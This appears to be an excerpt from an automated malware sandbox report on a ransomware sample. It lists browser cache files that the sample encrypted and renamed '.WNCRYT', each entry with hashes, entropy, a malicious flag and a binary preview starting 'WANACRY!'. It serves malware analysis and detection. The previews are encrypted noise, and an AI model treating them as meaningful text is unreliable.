                                                                                                                        Preview:WANACRY!.....I.c....yo}.Ibvv.P.p....SA.@+.4;k..9..a......_orG.)J.A..W.p.o.xM...{..e.I.....t......e.s.....4...6.].Y.b!^...b.y '....Z/./j........-....\.'V...1...*...]...dq.J...,..Et..;.5...&s...C.h].........'{{...>.....e...T...d..'.../S.kjP..xA.!.......)......W.!&....~...-U'....9.......G3...:A<.7......g.'.r../M{...Hh..}......v..-...8w....u+Z...x..A[v.rw.%.Y..w..{]0....0.eKP'.....zN....1 u@L.&.yh.S..r.7jY..1.l...3.bZKE%N...@.....R...y..$.....M&..C...A..p..wc.U.t..d.....=..P.&.%.i.[.i.1....ll]:VF...,...Z#'.Um..P!.....H.T.....5.....2GT..F.....:.[.{wi....n......c[_...`.....6+.TBV.kiw...._..(......M.R_x../t.\.]:K..K..y..cz.?....0".....;*[}?............^.......O.s.....;....^}H..)...._..w.D.}.;..'.t1..\.z!....7..I...E8h .(_.R.d.......%..;...y.....l..).Ht.!..g.tZ.. ..J..O....Zu-R......H.w.x...S....~"{`..H$.yw......O.'E.....7.A........?.^v.*..5".r..!,)"J.8M`,.r..}...idpF.....ORW..i..-0.e....J.~o.3_......'.69......g=.p.....l].

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\taji7ldS4ejDYQEzKbbzWXxUR7k.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2520
                                                                                                                        Entropy (8bit):7.930953666272967
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkDAzMyvryIQxmsqm1zWnYKHERXemjbasG3Z4Eb/sJdtHlqK9Z:o4dOIQxmsdxWn5H+XHjusGJoJTH9Z
                                                                                                                        MD5:DF2982190267DE35E1E61F26B985FBD3
                                                                                                                        SHA1:E8A26ABF97E7647DB64E74B814432580077CABE9
                                                                                                                        SHA-256:8CB5234017FB22766EB543A2574673F11A2B49558B0543F6B089D71CA4A8696F
                                                                                                                        SHA-512:72FA597C37D7D604C6BC86F9A514EA3AE2726D1CF4F4BAA2E87646EA1BDDB0EEAF4FDC095250EB3EAE4232D202D9FC89C5A96155464AEBBCCB85D8CCC6CB12A7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........h.......\Z..HN...e.tD.b....7.....,.......-@_%....#...?C.R9^........;...;!B Bu....g.HR....`...v.z.XJU_J!.h.....-b.[..#..o^w.5....z......>#.....d....`]......'.E.....L...e.fc.b4-...[xd,R.....n.h..U7....<..J.:...)........=..f.A.Q.Ki..1.............}.z1....f..q.S...........m.`..;qqF.....J'...KY5/Y?..\...m.$5.jD..{.k7)z{....)...h.L...5..A...Eu.W........8.E?..`.L.?......cU....*L..@6..Z.7.oe.m}..K.....p/....+....(.!j-....R..`.<.%+Q..L...Y..$......63.."...T..l..Y..8L**mF.A!...#t;U.?.s$.....i.....@ ..k...*,C....3mZ|i!..vq....t.0.G.Y.#(h_....L..T.j.>...E3....lo.V9;:..].....p.2.s.k(9.K.V.{.b.rn...gTg.h.E.......XOY.W*..$........w.H....).:?..]......P.........N.%s-...-.1...q`u...\.C..=.T.*..R.<.guU......p......Xj....B.{r.:.......Gm[%g.....>..............G.`.b]...M.jDr.....6`<.I...Q......RV.#.7.!.n....k..8,.*..M.3PB..).W[!.oy......C$.1h.h..'..n...wt...)g.3...v...'4^y..E....:..1.X...8.B:..:.7.....x.%y..Qn...xe...M....r.8.t......['..T..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\v86e0X_ci1X8eYRZtuX_JUnLuFw.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):75736
                                                                                                                        Entropy (8bit):7.997531225715805
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:nGKk8ZKTIZBBMoIpQ27q40gHRlyOHIyxU7V4pszT26L3k:GKk8ZFM17q40yfHIMUgAT9L3k
                                                                                                                        MD5:CB6CE00CA32DAD391AC5A88ADEE881DA
                                                                                                                        SHA1:A874D90A8F89B215AA3C60D5DCC4C02EBEBF84A7
                                                                                                                        SHA-256:B9888DA6287A4B220FEC0B7BC9339BA6A36E7672ED5B5E8C3F15E78A017DF9F6
                                                                                                                        SHA-512:82A66C1F6862E7E92BEB5A06B13C8237B6A89DC2A5373B6CC5FFA597948F318F01A2E3209862DD8E273291A2375D6811F1789D9755EB436E846C583DE7F2B50A
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....$....d..C.J...YJ.am\-v5..x..K.3A..7>...w..&._.s0c4:G..>.8..0.>G.5..(..&?... <."G0$1..Ew...p...$.id......9..(.x'Z.W.gx'...4.&.\w..c./.C..6O..D.?....*....%..[..F.8&....SN.....U}o.>.I..eH.+.9..to]u....y9..\.G..2L.....T....*.Y.[.........M.9..Z5.....j..<......&......+<..5..~.k.dF../....mD.~*.}.S-....J]."....j...4..Y..Z".....*...M$.2 -.XZ.7..&.6...?.b...B.)..7y..........&wC.......a.b.7=....;....`_..Q....V...!....Y._.c..{..^M.h..,.{L.I&...).......R......d.:O....H...s.a......F....[.^...l....3.w..D.....0......P.^.j.W,F4..;.....'..'....CLr2w1.cC....2.3.M...w.J.R.w.L..fu2D..;J..}l......C)j......w.hU.~...h.4./..........".....9.WQ).l..y..6P...+.)..j.t.......O.....".2.,.....3.o.A..e.....m^.3....,:R.*..b............iqV.#y...^.n..WV...:x@.......B{.o`.[....$._...E....H.F.....pb...Y.D.....\..!&N.u7..(~@xHV:>%.ib.uc.,..d....r..%).....v{S......%.-......7.4....'...V.J..@.!F...z.../-..h.w+.........Ly.=..Qd.l4.7..I...?.`C......VJ-)y.u....iQ....j.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\y6bnWjCuvSwilLrFt0n5uUF6l4A.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):103288
                                                                                                                        Entropy (8bit):7.9981830065813435
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:B9ff7s8mHQD1Uag2l+PNMjrhHICJfJJadlnrbCZg:fSHhlucK9ocfJJaR0g
                                                                                                                        MD5:CF91D4D7AB63C87CE7320BE9F65E3C53
                                                                                                                        SHA1:E0170697049CD2FCB8D8BEFC99A8EBD56E7B316A
                                                                                                                        SHA-256:B1951B836D2261D4AD11010B5EB920A694FAE663497398AE7E49303926C653FF
                                                                                                                        SHA-512:D45C8D28225D0538212D6F9FF4A84974EF43AB6ED118652D7518008A62975258C59319AC28E73A2A26724F04A9B1AB1C8BD2A3AEA41E01837B69797D3E7BDE5D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....~...cDD.\...V..x...Xk....A.LL..t}..aX..F...^8....$..M..e.:t,s.Z..KKa.<.8...#.gF#.2.............)U.z.kT*....L..>;.@L\.tj.Z.".Q.4+..\.H....7.#U$.d&4@.6....n.!...........9.6..2..U.....*p....+R..Kn...1....V}8.....UU.v..........A..5G.....gX....;......^........E.66.=...N1...k<...f..5k.......7...ds....T}c.....V....m....N...T.s0.s..b.'..Y..x.......`.G..PR..*.0........W8U..w,..:..\.J4.q..jjS.!...Vo.}.^L..y...-D6...l............{..FeB.....h...{?...S.<.&|..".nr...4O...H..s+?........H.......7..j.....qt6Dp$.<%G.lMa....#~.E....;J8.T /.......h..O@...h:W..).$.4.O.e*....,\67+8q ../"H....X..[4cy4w%.\8.V...1..u....o'.PG.T.^.f...[..h."..0..#.Sk\;:O7..yfD...\.>C......$AL*7...B.{.%zQ....^.ctP.....l.......+.;\`.=..V...........}am.j.C.0.(...5....kr(....,,.[5...4..#.t.u.].t.pW..f.s ...lP..[2...W)_P.r.\..E[..."..s7 ..s.....0aY..a.?.!.>...Oj5.C.=7[9...&.t..(x.;.....S(...`..TU.r.h.ii.(...fE...%.]Q..*.H`.:;.YU 0.S3H0.<.....>....w9.....n.v.<...C.v+fu.n.....$.)a.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\-iNIzuEypRdgRJ6xnyVHizZ3bpM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):17784
                                                                                                                        Entropy (8bit):7.990435649874224
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:3Q3XR2/k4bhr4aHlIwW38PqLT45qfZ+Fd9xdwUWpmEif+iFiqy4mJ:3Q3h2c4xHm3nT456+70pmF/iqy4u
                                                                                                                        MD5:6A90C3025575F50DB35E4A3E6355FCED
                                                                                                                        SHA1:68F4B92F3DA3A8F88AF232305F28B89CD8BFDB39
                                                                                                                        SHA-256:6D28404E39AACE79CE100E6154A5DE5FB35BE235959E8558A74612ABFB132396
                                                                                                                        SHA-512:BB7CA8283E77D75B70A3426CC4A8EC4B2551DDD38B848185F23D8A249597A168C97ED3845A232E43A852231AA32B7C5A43AD82558B8EBE153FB1C6C1A09E5B51
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....V.&.26N4`N.5....9.p.[.2...;...q.E....]W.....7....L..}.B.......H.6.s....H..v.L.JS)..X."......~TO...,..yK.si.....s...<U+.]7xF..T.%_I...(....AuK...7"}.+*...3_...0...2w..#.IT2..... Y....=..)S`.]m...{.1.....V<.^.N..Z.`.i........H8O...].....9m.2....ZD..........)..*..e64p....'.xS.5&. .C"..|7...P....U..m..........D...o.f....$.**.E.4.j.'.a[.?....:^......j.....`^..l.r.......^..0.3+...B...=...8.;.M>.2..?KU?%<.Y......y*>..1....v...G..........*t......:n<.'..d..B....Z..[BO d....&....eIz.[."....5..s.....P....s..0.>..9N...f....8 ..IrO(..%.i<..J.T.B...5..k.3..}...Y..H..e...e.....E?.).H.hF.........._...".h..........Q..u@O.M...D.x:........O..6R.Wu.>[... ...(.k...~<..-$q).13....a. c.........*.Y...M.)....C.^8..Zr...yEF-.}`...y.N:..9..o.....i...d..23I.......S.........s.(.q.P.z@*~..R....N....4P|..../...p......ms2,R.;.vR4.:.X.y..b.K.[eu5.Fa...QqV....RJ...4.Q/5+.~.w8`{.Ofb.1R...y.9yKn..v.....r.sLT.....>h.%@.c] yq`.../..T..$1C.v..&..J.v.&.^^......lD.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\0u2b9EXo8LdXut1MFm4AD0phBuM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1752
                                                                                                                        Entropy (8bit):7.8867355178560965
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8HPwkAf2x5CeCmRJ9BnH1BL10SOjQtNPY6DySJjY8trydk+wAeQFLpnoAlPTAk:bk8HIkbYmHH1Bx0lQtN4cwqPKpnoAlMk
                                                                                                                        MD5:01031CD71D7B8C79AF86561E85B0AB78
                                                                                                                        SHA1:A9A5F4510F403EA604727C37B74CC53DC1897469
                                                                                                                        SHA-256:FEABC3AEBE424349E43AF4931C177FE35697F79B63E19989350DAACC7F255F5F
                                                                                                                        SHA-512:825CECAF05857BB438674E51CB266D557CF72F02F2057922FE20A05B87E0FDDC632F941066596EBAD56CA867692C90362E51CF79028B76F1E85459B73C0B525B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....6/..,....+.Kw..J.e....\WF$.$f..W..u...N.+s\...P$.L..j.Xfh..gz..>#..wc.e.a....b.x[A f8r...S{..{.?.9..!.g...:o..X.d ..m{5......X..fu%o.].0Q..~..a'.I....V.k.W.I..V]kF]....U....%D .].>DL.E..6.=.s...^..H.......\.i.xW...I.. $...K....N0.?_Z..<.l.x................8..u..y,.|..u7C.7Ca...]..4..%..W.].l._..1...I?~......Z.8.;[ym.?....).w.-.0...1.,L.......*..t..to.b..g..G^...+..:~....x?{...F&..:.t..Lh.v..Yv.fO.}..w>..9..e>+.....'m6...L.K1... ...1..a.P:_.[3}....s..S2..;X.n.N_.....W.&5KJ|..b7].zt..`8=*....nc...c.......5.M...=...0N5#l...CA....{..|..&Y..kI....G..k..?B6..*.`:.W<.U..)....\......( V.+..- H.........CZ..!.....I!...R.6.P....}...ux.......De.*..;.1....$.D.o..+.h.6M.[..+O..U.>$...!..X..>............6.0k..k9{.H...pH.;}U....:.....S..k..I....P..........r.J1........]..;>=F]T.,...^&r....)..".{.6..c{[J.F-...........w.7.b.........>$c..-. .@t.....E..T.Y.lv.'.......r........t..... ..n..O.,e...o3.".p.f.Q..u.j....a."..%mx.=..4m.z"......6.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1240
                                                                                                                        Entropy (8bit):7.818449719166115
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkCGHdRUP1J//J7WPpnCbjglB64YapYy6miZZDqyjmlfbzHUjkGf1w:bkCGHds1dFWBCeB6Lauy6miiyjm9/0zS
                                                                                                                        MD5:CA80FDB42F0712E6F7AA5A44010A6E4E
                                                                                                                        SHA1:FADCB78AC117F20C8B3AC6C79ACBB7F1F82899F6
                                                                                                                        SHA-256:9D7117FE82CCDFA8476F45BC453CE145F3CD8D6C6487460D33DE6B224E0BF0FB
                                                                                                                        SHA-512:429D17A99850E0C5FAB1438A7EB5A40E1F336769BA51873136006598CB7F1BE340E619E54ACFE392995182F143E19532EE078576F82176B481CB64DB08AF0422
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....p.._8.....7.p....c..e..l..)J._..%5..1.K,%2..%.4~...5..."...E....._.#Q.ud..k."..r.+W...,z.qS.8...{7.};V.c..2......8...pI........B...W.5... .g?.ZG...W.....H.8.....h.&./...a........O..r.r..r^.<.....G.cw.......r..M.A0]._k.......k.@C.A...9DW....g.............]"..CgBR=G8.#.../.r.wv..g..,MX.Z.C..ei.n....P".&\..........g*.4/..P.6...@ql..xz.....].x.dTm.v._.)Jf..R..0......;.....2..6(d}(...h...M...gG..&.}U%..E.."....@..-....)X..2Ul.}.......|*]nC.8.v_.../.7.'....,pAH...........]d*..3V.......[N..)...|...C....N.!.z.....5.a......#.+.`.i....2...x.8G..Wt....N...uz.....S7&...>.p.......r..5.X.j=.....9.....X!4u...L.].I..d:7$.p..C..0...hH.>.!.U.`........q-.@b)....<..i..}..;........p%...3..#k.>....,74...T.pq.:b.U:Z(].7..5...uU\r.......+.4{]..J...P.).e.....)L..'..q.$.:.8)...o..^O...#....l.2a...]..u..Bxx..N&....\...-$.\....N>.".-.+.Qu..b..v.......na...\.c.N;I.q...=..t.....RmP.#6.A....[...J......|1....1.}.q.E..R..r.B.+...i-k.[...c.Y.d.(... ..I.G

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\5qSqWyip_grL-s7BafaqI3Mrk9M.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):131672
                                                                                                                        Entropy (8bit):7.998810747959376
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:2U0iI63kkPoBRi8+bhxmDpdWoWtly5Q9Go02o25vLUvlOIX:2UlI6UkABRiDeDpdWoFatLk
                                                                                                                        MD5:6588159A48F67222283ED3DC5FC6E8F2
                                                                                                                        SHA1:97D9308E07C8792E78A03F9028AE46875559732D
                                                                                                                        SHA-256:C13915ADB4AD4C3B352D5D7577E128B49657E6B15C0E305C388A52186C771025
                                                                                                                        SHA-512:0BC86EFCB4A545071F374E1773BBE9114885CC31197A17EF60E538DEDB0D1EDDC07E507C4C40DBC68F6B21F2593F8C4C7F433E6EEAB15F2FA99ABE71C52471AC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....N.Q@.,S..Y.L......o.k%M.D..{#......xn...W......DZ2.Q.o...h]9l.........i.`<...ia.+.....[.............:.Bs.....O.....%.V..d.k...B@.Je.."v...-...v......D1....C$.3o.*....Xxj.......{P...n........rr'./..v.W.-.'.....,.}_.v....B.L..vS..ldwp.7../7........<.......H..:..5..E;.Eq.3..#...jz\a.';..t.&:..1.....N..U).[.y.<.L......`.hG.3..o..f.;.F.C.B...".h\.....o>.7I..S.^.......mv."2...gb.8?.....QKAz...x0.../.}..!..}.<.].....)~s........bnC.]....oB..; z...3..@xc.@.g..@....(....42..t.jZ.$...\...........#.;<.....N..A...9h:...0FD.....U...b...n...l. .E.......u..4..|..g.....&.>...XT........`1U..'~h)Z.L..i=! ....y......O2.MY;..H.0)+...:.j^..2<..X7.../P.BU...I...~g..q....5hd........T2..'...<..v...$....J...2F.9..........N.*.)Z.%..Q..Ga?....G}E.....g.A..?..m.L...e7.a..@.....L.n....`81.z.<A`......n...vJ..\._..X......s....s.....~$..*g.....v...y..|=8..S.</J.C..\<........^...]...>.+*.e......6.Q.5...=.".+.f,..'....|.t)U.J..KM...>..F.a.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\76h-lqe82bg-bnu-ApkwUALogkQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):9272
                                                                                                                        Entropy (8bit):7.981945075304535
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:jwXjNvMF58WYQeHhzEUBMPW1vGGIkl0ppTBB10sBUd9bVB:jUjx858WYHHhzvoklyplv0oUdJ
                                                                                                                        MD5:4AB0929D3AA0651F3ED0F89863392103
                                                                                                                        SHA1:B5CB9482C1B065827AF12EE45F4591E25B19438D
                                                                                                                        SHA-256:A78700433F388F620F409D045F873EB5B5D4ECFE15E6CF0C147A122605EAC505
                                                                                                                        SHA-512:69DD967FE2E640DE6FA7452704F097F5C86A0A2EB933F61377DB547C77713B7E55781CEEBAADE4A1FF2B7531C25DB98C1DA658B97854961A6B1D034E13188771
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....+m........-s...S...{.I.0.F.5......o..c.g/..O.....K.'.me._&..U.V7<DW.\_.4m......Q'.?u..|.&94.Z..!(.5..l.....@O...2...].>iD.I>....-.00.S!..\6v.?sY9xi..nI.;..m.aS..SaP..V..n......>.\\..A......|. ..N..|...j.w.Hh...Q.......v...T........@;;G`.........#......#..6.~..W.o^.7....r.U.|07<......Y..H.9...PN...Y.@1*.l.*_.1.9n,T..B.3.d1.&...-..p....SDFH<....v.+..zK2..7.C..Y...@j .......f\0._.:.Ja....{.?/l._X-i.....O..1......yX.L.7...E..z..+I<o...Ko.(N.PR.c...UF..]\.PW...<..e.h..S=.xW.F.+.j...^=zJ..6J7.u..Z.d.o.z.w.[.3...~.3....%....(b).)SL..{g..;S...VpQo.....Sn.>..n.D...l.c6..Xs..4W@........t...q)..g..D.H..Q.C0L9r.....5.w.M...1E8z.........,.R.{0.G.2.V...Y.P...0<...5.K..^.......A..y........zos"..Zl...|s.[O.U..........1..R.Y.C..<..G..7.N.......Dh.V.8.q.(.G:X......Q.X.S.C......K.2....|d.e.G.j.W....T. .G.9...*;.......$L9.j.(. ....za..1}.*+N..>b..c...6Q..V....!..(....7P.;.....s.........Qc* ...3R..m6`..+....7W|;FGVO.z....5Y.=WU>..(..o'1..q

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\7a7fF6LuoqTkiSALrk76L3PKXPc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):69416
                                                                                                                        Entropy (8bit):7.9973407223769755
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:KaySe4Z0l86wt6FmDXcAqfCjNLmN4BwEAoEev+zfLoAjJ7/zpy5PkNaK/wnQ87VD:Q4Z0m9b9J/E+wfLbNY58EhZ5I6lYLA
                                                                                                                        MD5:ED718C2EADD2678A84A943CBB87CD7C6
                                                                                                                        SHA1:687F742495547189C91A464B5607B73E87EAB56D
                                                                                                                        SHA-256:F1D7B9EED6BE539E09E3B07F415CF00580C1F89E29B80B908EC575FA0A92328D
                                                                                                                        SHA-512:88100D01730583748158EE7FDA957AEC39D6BA809864EBCEBDFB492E77C4F93963CCBCA2ED002EC553E949DA294254FD8DEE67D52393123E3AD2334062105EBE
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....x...Hh..V.D.L.IN.?...Is....K:o..7K7.Y......L.F.^.-Uk..:..z...j>..Di...|KC..{.GM..j.{....!..s?7.y.C4j.I^=.......q..,.E...5.7X.k..9H.pG...q<u.{4.........G>.Wm.@...KwHE......4..0....)..U.....j.... ..dlC.........F.!h..X.)W....b....Xv.-m.a..X.P....n...............~;.t..l.cU&b.9n....n.....(,.._a......I.l.T..........M'......RZ.a.nr...~.y...6..........Y..;....JV.._.i.0.+...oDq..........o-..VP.s.hy3N?g.n/E...N..C.E....B.e..i...~[.Ay.vD.;+..;..`........O.<]$...?..D.6.E..z.....[$.^.D..,.t.0?...0.>.D.5.(.X..21."V..).../..5.|h..b_...%..s.$...x*..renpRs..>..2.[.w..2...z..l....(...S/....<....'.*!.F}k..j.j...+X...}b.UT.S.._Clrn.....c'..0.lj.7./.*.n.........7..2... ..x;r2%.dM..d......1..i..tO..\.>.:&.B .c....NP.....sF\......7....V<,......@d.....K......n......2...J.2...P3.i.}s8.T.]....2.gF.A.[......@.3za?.Y...<.j$./4.......{./....g...k.#....r#0...s..X...w...Q......C.P.v8.)E..c.#..[.v...L.......2.B[(v.@Ky.x1..C....0O$dl}......\&.m.y.^....VO..GD`.i

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.138963121038442
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkE/FJ+2oxLW6qxNxuDJzfvgDA+RjUnlZEDOdAu4EMdRmpkYGli/s6l:bkE/7oxLOxuVzHgDAzlZ+oLJAeklsEw
                                                                                                                        MD5:C3FE81A2CED72D51CBBA68C098D428F0
                                                                                                                        SHA1:F24D7A13EBDBCC023B01D56EE4FC9318FAE38358
                                                                                                                        SHA-256:65EED0921A44215FF816DACFA8CB52382BF3B756472D41EE4226C033B5655B72
                                                                                                                        SHA-512:C9EC91F8A08C84EB43D87FA719A5A908CBAB6E89BC203AE12FC8588D25C232BADB06F42AA2899D0BE794AB12E2FE22EB1665FC9A68C110A81785745EF47EA629
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......#.u..KH...w...Qu+.......W%.5.t..e.....S8~.{hL....N..u!|A.p.`..`...r...6..^E.....;D..{.yQ..du.M.M.M..~...A.2..........w..[.c....:..=.do.h(6.<...3E5.....U...N....E.....$.e...R.!.+d.UZg.:.t.5G.!..tA...D -Ld....L......#.W+..s#a...:.5.=.'.,.~................T.Li.-.........7

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Cm-j2OJKwOWyiyy_LY0s7IvC7Qc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2488
                                                                                                                        Entropy (8bit):7.920181632743075
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkw2p64McYwHrp3gCxHzO7dHkpDeHcOOjahUo4+vhTkRrZjg2OPKUeFiu+5:ow2p6bcYwHr6CxHzQETjahw+vWtjgPKs
                                                                                                                        MD5:37B591D9A9DB6A6B321FF3F9BC93F7B4
                                                                                                                        SHA1:BEE9160A5954687E4F4D8428BF3A0D69E33E9608
                                                                                                                        SHA-256:FE6E5EE961575F893E11717B9228C8D2D35EB5F370E883224B4E0BB733929C31
                                                                                                                        SHA-512:5712AE530CD1AA4E29C3D277974B0F7B597EE67042E7572FE5326C05D8240FA306E327294C19FCD649251B9E65000566E9FDA92685A6AE5DE6F2802F9FC3903A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....E.n....I6..........M...4..x..t.....0..)..f...:...1WG.........}..s..l0b.<...l.:X..&4..C..f.X=..&.,...?v....A&....6.k.._@.i....=.).F........jI...~...._ ....R........$R.......W....@Ij.^..._[..j.-...`.<..[p.OX.t`.91..tB.Y.I...N3...e@lHAY.p-..$................`3K....-....Zfx....b?.d....r....:qc.n.....N..F....r.9.=..c.`..2.b....gu...n...gbyfi/.kH.NY.k.......x....zs.5@k..V....M...=.,...S._.B~|.H..}X8.....YZ._..F.9....T........MC#.a..vt.......]..P[....".j..B...e..U.I..<Z.....Q.*M......>a&.Aa%..I.......L.9.S.*s.Y..)-....T:.pz!...lm....9o...m......U./$[..I{x...R*...$..|....7eX....4..U..6@2.#r..^........V.:S.e.O.q.jJL.3...DO...&....z.;..)s......brm.9).No.....K.."....E .W..D.e..-{!5..^.4,3.....a...hOs..p.9.....h)}..F.......L...\.q1(f%.r.>.........&N._....?...l.}Y.....y.L..x.<.]OF..9M...P..y.qe{.c.._..N.>...K..'.Q..1.......Tw..K..b..j.....<..,..]..!..H..`'.o..w....?....X9W.r.I4m.V..u.~i....+D~....Zo...U&.F.d.A;.[..GgB%F.N7^.\...c..Zu*A

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\EDR6aHlON56kRFUYoTu1poTQKHc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7752
                                                                                                                        Entropy (8bit):7.97456202510665
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:PF5C4hNw5Dm2mvzkgwLLurfXxF+Jd3icZ+q8UCYBmmttC:P2Jmbk3mrfh8f3ictLB1bC
                                                                                                                        MD5:623E7ED5F15B45438C27A28562E19DA3
                                                                                                                        SHA1:953DE19DC9E4DDE0201234E055038ECA30E2D72A
                                                                                                                        SHA-256:1E38728E7C04260D34EBB829A576FE84A2F2554B8BC38B1B8768997503BDAF4E
                                                                                                                        SHA-512:70FDF72C162576EFB50ABE4B764D97805D1F55F888E26E17EC86E6AB565572760194CEF7EEF616975289C7006771FDD0C763B81892A05D01D741B2EFA4B97B0A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......ND.]h..0)A..X..Z...1..*B..P..8....u.}P....sfki5.u....>......1. ...rlY...}...........j*Au.J...J..0...g..p ....7.'..:.Y..3Y....0/..I... ..1.4e....Y..,.....P.....kF...zG.2....'V..). .8t.'..0&..l.85^.t.;v...J...........G:.9.67B.G^..F....d..o.....$........*7..~.5.1..U~.........Y....s>`....Q.i.4.Ee......M...^..l...k.~..:KBm...A.A.:...e.[^`.a<..i. f`.S &..rvh...3...3D.|......u..\.. .\t.)$...T<.B.E.i2..]......Lh7l...Z.C...c.x.4/..4O..)tU...o.....1_=..#TJ..D)..t.~..h.."..AY.k!$....>np,..._.U...lj......k.L.....h/X...2.p...?)>.9...%.f..&.rq....)..........~.....}6.%...<l.{e........a\-....RR!R..&.`C.0Ov.+....[..m..(#9......._....\........0y.}$....u.iy.s}7..l)y.$$......{T...Ae.g.H.S..........~mR9...}..RNg.H....>4..!..].]O.#|`.v.$....~.;......ANv.PK....e.g.`.)Z*..5.l+R.^i[.....`3.[8..\...o.....<L..\.F4.q<kzBT.wI....G....F.Y.@.....o..}<|.....(.1.}\..d..p......E..t.V.tP.[..BR..rMl.}v...~.'..=..`k.G....N..EG.N..M#D.;..e.C.b.En...n>...I.,(...[1

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\FBodW3lwNP5Qe6iF-d8dpJdC9lc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
